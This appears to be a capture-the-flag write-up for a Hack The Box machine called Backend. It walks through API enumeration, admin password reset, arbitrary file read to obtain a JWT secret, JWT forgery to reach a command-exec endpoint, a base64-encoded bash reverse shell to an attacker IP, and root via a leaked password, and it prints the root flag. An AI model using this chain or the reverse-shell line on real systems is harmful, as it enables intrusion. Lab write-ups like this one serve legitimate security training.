Backend

Recon

nmap_scan.log
Open 10.129.227.148:22
Open 10.129.227.148:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV -sC -Pn" on ip 10.129.227.148

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZBURYGCLr4lZI1F55bUh/6vKCfmeGumtAhhNrg9lH4UNDB/wCjPbD+xovPp3UdbrOgNdqTCdZcOk5rQDyRK2YH6tq8NlP59myIQV/zXC9WQnhxn131jf/KlW78vzWaLfMU+m52e1k+YpomT5PuSMG8EhGwE5bL4o0Jb8Unafn13CJKZ1oj3awp31fRJDzYGhTjl910PROJAzlOQinxRYdUkc4ZT0qZRohNlecGVsKPpP+2Ql+gVuusUEQt7gPFPBNKw3aLtbLVTlgEW09RB9KZe6Fuh8JszZhlRpIXDf9b2O0rINAyek8etQyFFfxkDBVueZA50wjBjtgOtxLRkvfqlxWS8R75Urz8AR2Nr23AcAGheIfYPgG8HzBsUuSN5fI8jsBCekYf/ZjPA/YDM4aiyHbUWfCyjTqtAVTf3P4iqbEkw9DONGeohBlyTtEIN7pY3YM5X3UuEFIgCjlqyjLw6QTL4cGC5zBbrZml7eZQTcmgzfU6pu220wRo5GtQ3U=
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJZPKXFj3JfSmJZFAHDyqUDFHLHBRBRvlesLRVAqq0WwRFbeYdKwVIVv0DBufhYXHHcUSsBRw3/on9QM24kymD0=
|   256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEDIBMvrXLaYc6DXKPZaypaAv4yZ3DNLe1YaBpbpB8aY
80/tcp open  http    syn-ack Uvicorn
| http-methods: 
|_  Supported Methods: GET
|_http-title: Site doesn't have a title (application/json).
|_http-server-header: uvicorn
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP (80)

Writeup.png

No frontend/landing page probably means we are dealing with API itself.

└─$ feroxbuster -u 'http://10.129.227.148/' -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints-res.txt --thorough -D -S 22
200      GET        1l        4w       29c http://10.129.227.148/
200      GET        1l        1w       20c http://10.129.227.148/api
307      GET        0l        0w        0c http://10.129.227.148/docs/ => http://10.129.227.148/docs
401      GET        1l        2w       30c http://10.129.227.148/docs
200      GET        1l        4w       29c http://10.129.227.148/?:
└─$ curl http://10.129.227.148/api
{"endpoints":["v1"]} 

└─$ curl http://10.129.227.148/api/v1
{"endpoints":["user","admin"]} 

└─$ curl http://10.129.227.148/api/v1/user
{"detail":"Not Found"} 

└─$ curl http://10.129.227.148/api/v1/admin

└─$ curl http://10.129.227.148/api/v1/admin -iL
HTTP/1.1 307 Temporary Redirect
date: Sat, 21 Dec 2024 12:16:37 GMT
server: uvicorn
location: http://10.129.227.148/api/v1/admin/
Transfer-Encoding: chunked

HTTP/1.1 401 Unauthorized
date: Sat, 21 Dec 2024 12:16:37 GMT
server: uvicorn
www-authenticate: Bearer
content-length: 30
content-type: application/json

{"detail":"Not authenticated"}

For user it returns nothing, but if we search by id inside path it returns objects.

└─$ curl http://10.129.227.148/api/v1/user/1
{"guid":"36c2e94a-4271-4259-93bf-c96ad5948284","email":"admin@htb.local","date":null,"time_created":1649533388111,"is_superuser":true,"id":1}                                                                     
└─$ curl http://10.129.227.148/api/v1/user/0
null                                                                                                                                                                                                              
└─$ curl http://10.129.227.148/api/v1/user/2
null 

└─$ curl http://10.129.227.148/api/v1/user/letmein
{"detail":[{"loc":["path","user_id"],"msg":"value is not a valid integer","type":"type_error.integer"}]} 
└─$ feroxbuster -u 'http://10.129.227.148/api/v1/user' -w /usr/share/seclists/Discovery/Web-Content/common.txt --thorough -D -S 104,22,4,31,0 -m GET,POST
200      GET        1l        1w      141c http://10.129.227.148/api/v1/user/01
200      GET        1l        1w      141c http://10.129.227.148/api/v1/user/1
422     POST        1l        3w      172c http://10.129.227.148/api/v1/user/login
422     POST        1l        2w       81c http://10.129.227.148/api/v1/user/signup

TIL: A 422 status code indicates that the server was unable to process the request because it contains invalid data.

└─$ curl http://10.129.227.148/api/v1/user/signup --json '{"email": "let@me.in", "password": "let@me.in"}' -i
HTTP/1.1 201 Created
date: Sat, 21 Dec 2024 12:27:41 GMT
server: uvicorn
content-length: 2
content-type: application/json

{}

For some reason login endpoint didn't like the json data?

└─$ curl http://10.129.227.148/api/v1/user/login --json '{"username": "let", "password": "let@me.in"}' -i
HTTP/1.1 422 Unprocessable Entity
date: Sat, 21 Dec 2024 12:29:55 GMT
server: uvicorn
content-length: 172
content-type: application/json

{"detail":[{"loc":["body","username"],"msg":"field required","type":"value_error.missing"},{"loc":["body","password"],"msg":"field required","type":"value_error.missing"}]}                                      
└─$ curl http://10.129.227.148/api/v1/user/login -d 'username=let@me.in&password=let@me.in' -i
HTTP/1.1 200 OK
date: Sat, 21 Dec 2024 12:30:23 GMT
server: uvicorn
content-length: 301
content-type: application/json

{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzM1NDc1Nzk2LCJpYXQiOjE3MzQ3ODQ1OTYsInN1YiI6IjIiLCJpc19zdXBlcnVzZXIiOmZhbHNlLCJndWlkIjoiNzMwODk1YzctNGJkNi00MDBmLTk0ODktY2U5ZGFmZmI5NzI1In0.2I4hRTVd_GlTV5UBDozsxiOep0jLoqJFr479r_0Bv-w","token_type":"bearer"} 

We can't access admin endpoints, but we can access the /docs. We get access denied, but most probably because we need this header everywhere we go on /docs and with curl we only have it on this http request.

└─$ curl http://10.129.227.148/docs -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzM1NDc1Nzk2LCJpYXQiOjE3MzQ3ODQ1OTYsInN1YiI6IjIiLCJpc19zdXBlcnVzZXIiOmZhbHNlLCJndWlkIjoiNzMwODk1YzctNGJkNi00MDBmLTk0ODktY2U5ZGFmZmI5NzI1In0.2I4hRTVd_GlTV5UBDozsxiOep0jLoqJFr479r_0Bv-w'

    <!DOCTYPE html>
    <html>
    <head>
    <link type="text/css" rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swagger-ui-dist@3/swagger-ui.css">
    <link rel="shortcut icon" href="https://fastapi.tiangolo.com/img/favicon.png">
    <title>docs</title>
    </head>
    <body>
    <div id="swagger-ui">
    </div>
    <script src="https://cdn.jsdelivr.net/npm/swagger-ui-dist@3/swagger-ui-bundle.js"></script>
    <!-- `SwaggerUIBundle` is now available on the page -->
    <script>
    const ui = SwaggerUIBundle({
        url: '/openapi.json',
    "dom_id": "#swagger-ui",
"layout": "BaseLayout",
"deepLinking": true,
"showExtensions": true,
"showCommonExtensions": true,

    presets: [
        SwaggerUIBundle.presets.apis,
        SwaggerUIBundle.SwaggerUIStandalonePreset
        ],
    })
    </script>
    </body>
    </html>

Using Match And Replace Rules add this header to every request from Burp.

Writeup-1.png

Now the docs are properly loaded

Writeup-2.png

User.txt

Writeup-3.png

Privilege Escalation (admin)

We can update passwords. If we try to update admin's password it's a success.

Writeup-4.png

We can re authorize from Swagger API and we should probably turn that Match And Replace Rule off.

Writeup-5.png

/api/v1/admin/exec/{command} route allows executing commands, but requires "Debug Key"?

Writeup-6.png

We can query the files via /api/v1/admin/file

There's 2 users

└─$ curl 'http://10.129.227.148/api/v1/admin/file' -s -H "$(cat auth_token)" --json '{"file": "/etc/passwd"}' | jq -r .file | grep sh$
root:x:0:0:root:/root:/bin/bash
htb:x:1000:1000:htb:/home/htb:/bin/bash

Dump environment for this application:

└─$ curl 'http://10.129.227.148/api/v1/admin/file' -s -H "$(cat auth_token)" --json '{"file": "/proc/self/environ"}' | jq -r .file | tr '\0' '\n'
APP_MODULE=app.main:app
PWD=/home/htb/uhc
LOGNAME=htb
PORT=80
HOME=/home/htb
LANG=C.UTF-8
VIRTUAL_ENV=/home/htb/uhc/.venv
INVOCATION_ID=17f4dc4dd4b74c21bffaf9822896b9f5
HOST=0.0.0.0
USER=htb
SHLVL=0
PS1=(.venv)
JOURNAL_STREAM=9:18400
PATH=/home/htb/uhc/.venv/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
OLDPWD=/

└─$ curl 'http://10.129.227.148/api/v1/admin/file' -s -H "$(cat auth_token)" --json '{"file": "/proc/self/cmdline"}' | jq -r .file | tr '\0' ' '
/home/htb/uhc/.venv/bin/python3 -c from multiprocessing.spawn import spawn_main; spawn_main(tracker_fd=5, pipe_handle=7) --multiprocessing-fork

PWD denotes the root directory, APP_MODULE denotes path to application from root

└─$ curl 'http://10.129.227.148/api/v1/admin/file' -s -H "$(cat auth_token)" --json '{"file": "/home/htb/uhc/app/main.py"}' | jq -r .file
import asyncio
from fastapi import FastAPI, APIRouter, Query, HTTPException, Request, Depends
from fastapi_contrib.common.responses import UJSONResponse
from fastapi import FastAPI, Depends, HTTPException, status
from fastapi.security import HTTPBasic, HTTPBasicCredentials
from fastapi.openapi.docs import get_swagger_ui_html
from fastapi.openapi.utils import get_openapi
from typing import Optional, Any
from pathlib import Path
from sqlalchemy.orm import Session
from app.schemas.user import User
from app.api.v1.api import api_router
from app.core.config import settings
from app import deps
from app import crud

app = FastAPI(title="UHC API Quals", openapi_url=None, docs_url=None, redoc_url=None)
root_router = APIRouter(default_response_class=UJSONResponse)


@app.get("/", status_code=200)
def root():
    """
    Root GET
    """
    return {"msg": "UHC API Version 1.0"}


@app.get("/api", status_code=200)
def list_versions():
    """
    Versions
    """
    return {"endpoints":["v1"]}


@app.get("/api/v1", status_code=200)
def list_endpoints_v1():
    """
    Version 1 Endpoints
    """
    return {"endpoints":["user", "admin"]}

@app.get("/docs")
async def get_documentation(current_user: User = Depends(deps.parse_token)):
    return get_swagger_ui_html(openapi_url="/openapi.json", title="docs")

@app.get("/openapi.json")
async def openapi(current_user: User = Depends(deps.parse_token)):
    return get_openapi(title = "FastAPI", version="0.1.0", routes=app.routes)

app.include_router(api_router, prefix=settings.API_V1_STR)
app.include_router(root_router)

def start():
    import uvicorn
    uvicorn.run(app, host="0.0.0.0", port=8001, log_level="debug")

if __name__ == "__main__":
    # Use this for debugging purposes only
    import uvicorn
    uvicorn.run(app, host="0.0.0.0", port=8001, log_level="debug")

Get config:

└─$ curl 'http://10.129.227.148/api/v1/admin/file' -s -H "$(cat auth_token)" --json '{"file": "/home/htb/uhc/app/core/config.py"}' | jq -r .file
from pydantic import AnyHttpUrl, BaseSettings, EmailStr, validator
from typing import List, Optional, Union
from enum import Enum

class Settings(BaseSettings):
    API_V1_STR: str = "/api/v1"
    JWT_SECRET: str = "SuperSecretSigningKey-HTB"
    ALGORITHM: str = "HS256"

    # 60 minutes * 24 hours * 8 days = 8 days
    ACCESS_TOKEN_EXPIRE_MINUTES: int = 60 * 24 * 8

    # BACKEND_CORS_ORIGINS is a JSON-formatted list of origins
    # e.g: '["http://localhost", "http://localhost:4200", "http://localhost:3000", \
    # "http://localhost:8080", "http://local.dockertoolbox.tiangolo.com"]'
    BACKEND_CORS_ORIGINS: List[AnyHttpUrl] = []

    @validator("BACKEND_CORS_ORIGINS", pre=True)
    def assemble_cors_origins(cls, v: Union[str, List[str]]) -> Union[List[str], str]:
        if isinstance(v, str) and not v.startswith("["):
            return [i.strip() for i in v.split(",")]
        elif isinstance(v, (list, str)):
            return v
        raise ValueError(v)

    SQLALCHEMY_DATABASE_URI: Optional[str] = "sqlite:///uhc.db"
    FIRST_SUPERUSER: EmailStr = "root@ippsec.rocks"

    class Config:
        case_sensitive = True

settings = Settings()

We have the JWT secret, but we don't know what application is looking for when we want to execute commands.

└─$ curl 'http://10.129.227.148/api/v1/admin/file' -s -H "$(cat auth_token)" --json '{"file": "/home/htb/uhc/app/api/v1/api.py"}' | jq -r .file
from fastapi import APIRouter
from app.api.v1.endpoints import user, admin

api_router = APIRouter()
api_router.include_router(user.router, prefix="/user", tags=["user"])
api_router.include_router(admin.router, prefix="/admin", tags=["admin"])
└─$ curl 'http://10.129.227.148/api/v1/admin/file' -s -H "$(cat auth_token)" --json '{"file": "/home/htb/uhc/app/api/v1/endpoints/admin.py"}' | jq -r .file
import asyncio
from fastapi import APIRouter, Depends, HTTPException, Query, Request
from sqlalchemy.orm import Session
from typing import Any, Optional
from app import crud
from app.api import deps
from app import schemas
from app.schemas.admin import GetFile
from app.schemas.user import User

router = APIRouter()

@router.get("/", status_code=200)
def admin_check(*,current_user: User = Depends(deps.parse_token),db: Session = Depends(deps.get_db)) -> dict:
    """
    Returns true if the user is admin
    """
    return {"results": current_user['is_superuser'] }


@router.post("/file", status_code=200)
def get_file(file_in: GetFile,current_user: User = Depends(deps.parse_token),db: Session = Depends(deps.get_db) -> str:
    """
    Returns a file on the server
    """
    if not current_user['is_superuser']:
        return {"msg": "Permission Error"}

    with open(file_in.file) as f:
        output = f.read()
        return {"file": output}


@router.get("/exec/{command}", status_code=200)
def run_command(command: str,current_user: User = Depends(deps.parse_token),db: Session = Depends(deps.get_db)) -> str:
    """
    Executes a command. Requires Debug Permissions.
    """
    if "debug" not in current_user.keys():
        raise HTTPException(status_code=400, detail="Debug key missing from JWT")

    import subprocess
    return subprocess.run(["/bin/sh","-c",command], stdout=subprocess.PIPE).stdout.strip()

We just need debug to exist in our JWT session.

Update debug to be anything, it just has to exist.

Writeup-7.png
Writeup-8.png

In the URL we are passing commands via path and / is not handled well, to avoid that we can use base64 or curl over bash.

# https://www.revshells.com
└─$ echo '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.123/4444 0>&1"' | basenc --base64url -w0
L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTIzLzQ0NDQgMD4mMSIK 

Note: Normal base64 contains + and that's not good for URLs, basenc --base64url fixes that.

GET /api/v1/admin/exec/echo%20L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTIzLzQ0NDQgMD4mMSIK|base64%20-d|bash HTTP/1.1
Host: 10.129.227.148
accept: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzM1NDc3MTE0LCJpYXQiOjE3MzQ3ODU5MTQsInN1YiI6IjEiLCJkZWJ1ZyI6ImxldG1laW4iLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.tlAUO5VaLUtAB2micCYLQ5D42Q1eUU5cM3mwnt_Xals
Writeup-9.png

Reverse Shell

(remote) htb@backend:/home/htb/uhc$ id
uid=1000(htb) gid=1000(htb) groups=1000(htb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)
(remote) htb@backend:/home/htb/uhc$ ls
__pycache__  alembic.ini  auth.log    poetry.lock      prestart.sh     requirements.txt  uhc.db
alembic      app          builddb.sh  populateauth.py  pyproject.toml  run.sh

auth.log in application directory is somewhat odd

(remote) htb@backend:/home/htb/uhc$ cat auth.log
...
12/21/2024, 11:46:56 - Login Success for admin@htb.local
12/21/2024, 11:55:16 - Login Failure for Tr0ub4dor&3
12/21/2024, 11:56:51 - Login Success for admin@htb.local
12/21/2024, 11:56:56 - Login Success for admin@htb.local
12/21/2024, 11:57:16 - Login Success for admin@htb.local
12/21/2024, 11:58:36 - Login Success for admin@htb.local
...

Tr0ub4dor&3 looks like a password?

Privilege Escalation

(remote) htb@backend:/home/htb/uhc$ su -
Password: Tr0ub4dor&3
root@backend:~# id
uid=0(root) gid=0(root) groups=0(root)

Root.txt

root@backend:~# cat /root/root.txt
2976a0cff96b29962cbd7266766b9f23

Last updated